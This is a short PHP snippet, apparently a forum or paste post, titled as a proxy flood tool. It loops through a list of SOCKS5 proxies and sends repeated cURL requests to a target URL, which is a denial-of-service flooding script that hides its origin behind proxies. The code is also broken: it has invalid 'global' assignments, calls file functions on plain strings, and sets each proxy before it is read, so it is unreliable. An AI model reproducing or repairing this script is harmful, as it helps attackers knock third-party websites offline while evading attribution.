PHP - proxyflood w/ cURL (custom function)

<?PHP

function flood($dicks, $dongs) {

global $derp = curl_init();
global $proxies = fopen("socks5.txt", "r");
global $socks5 = curl_setopt($derp, CURLOPT_PROXY, $current_proxy);


fopen("socks5.txt", "r");

    while (!feof(socks5.txt)) {

    $current_proxy = fgets($proxies);

      curl_exec($derp);

    curl_setopt($derp, CURLOPT_URL, $dicks);
    curl_setopt($derp, CURLOPT_HEADER, 0);
        curl_setopt($derp, CURLOPT_PROXY, $current_proxy);
    fopen($dongs, "w");

        }


fclose("socks5.txt");
curl_close($derp);
echo "end of proxy list reached";

    }